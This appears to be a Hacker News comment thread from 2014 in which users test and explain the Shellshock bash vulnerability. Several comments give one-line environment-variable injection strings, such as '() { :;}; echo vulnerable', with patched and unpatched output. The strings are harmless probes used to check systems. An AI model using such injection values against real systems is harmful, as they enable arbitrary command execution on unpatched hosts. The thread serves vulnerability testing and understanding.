5 ms·
Appears to work, even with latest patches, by using sh (from the link): $ env X='() { (a)=>\' sh -c "echo date"; cat echo date Wed Sep 24 15:00:34 PDT 20
by WestCoastJustin 12y ago
Appears to work, even with latest patches, by using sh (from the link):
$ env X='() { (a)=>\' sh -c "echo date"; cat echo
date
Wed Sep 24 15:00:34 PDT 2014
-- previous bug fix for bash (before/after patch) --
$ x='() { :;}; echo vulnerable' bash -c 'echo test'
vulnerable
test
$ x='() { :;}; echo vulnerable' bash -c 'echo test'
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
test
Tested on Ubuntu 14.04.1 LTS & Debian GNU/Linux 7.0 (wheezy) with latest patches.
ps. lots of chatter about the original issue @ https://news.ycombinator.com/item?id=8361574 https://news.ycombinator.com/item?id=8361574
- daveloyall 12y agoI don't think either you or the author are correct. hobbes@media:~$ env X='() { (a)=>\' sh -c "echo date"; cat echo date cat: echo: No such file or directory hobbes@media:~$ uname -a Linux media 3.13-1-686-pae #1 SMP Debian 3.13.5-1 hobbes@media:~$ echo $BASH_VERSION 4.3.25(1)-release It looks to me like we're setting X in the environment, calling `sh -c "echo date"`, passing that X in to it, nothing happens, then we're cat'ing a file named echo, which does not get created in the first place, at least not on my machine. I played with the original test a bit. You can break it into two lines to see what is happening. For example: 1. hobbes@media:~$ export badvar='() { :;}; echo vulnerable' 2. hobbes@media:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'" 3. bash: warning: badvar: ignoring function definition attempt 4. bash: error importing function definition for `badvar' 5. I am an innocent sub process in 4.3.25(1)-release 1. Create a specially crafted environment variable. Ok, it's done. But, nothing has happened! 2. Create an innocent sub process. Bash in this case. During initialization... 3. ...bash spots the specially formed variable (named badvar), prints a warning, 4. ...and apparently doesn't define the function at all? 5. But other than that, the child bash runs as expected. 1. hobbes@metal:~$ export badvar='() { :;}; echo vulnerable' 2. hobbes@metal:~$ bash -c "echo I am an innocent sub process in '$BASH_VERSION'" 3. vulnerable 4. I am an innocent sub process in 4.3.22(1)-release 1. Create a specially crafted environment variable. Ok, it's done. But, nothing has happened! 2. Create an innocent sub process. Bash in this case. During initialization... 3. ...bash accidentally EXECUTES a snippet that was inside the variable named 'badvar'?! 4. But other than that, the child bash runs as expected. Wow, I should update that machine. :)
- AReallyGoodName 12y agoThe above one didn't work for me either (it never created the file) but the example someone gave below where it's split up worked for me. run export X="() { (a)=>\\" now run bash -c 'echo date' Now under no normal circumstances should i have a file named echo in my current directory. But i do! In fact once that environment variable is set everytime i run bash -c 'XXXX date' i end up with a file named XXXX in my current directory. There's no way that should be happening.
- jgeralnik 12y agoSwitch sh to bash and it will work (create a file called echo)
- daveloyall 12y ago> I don't think either you or the author are correct. This is out of date, but I can't edit my comment anymore. Carry on. :)
- deleted 12y ago[deleted]
- deleted 12y ago[deleted]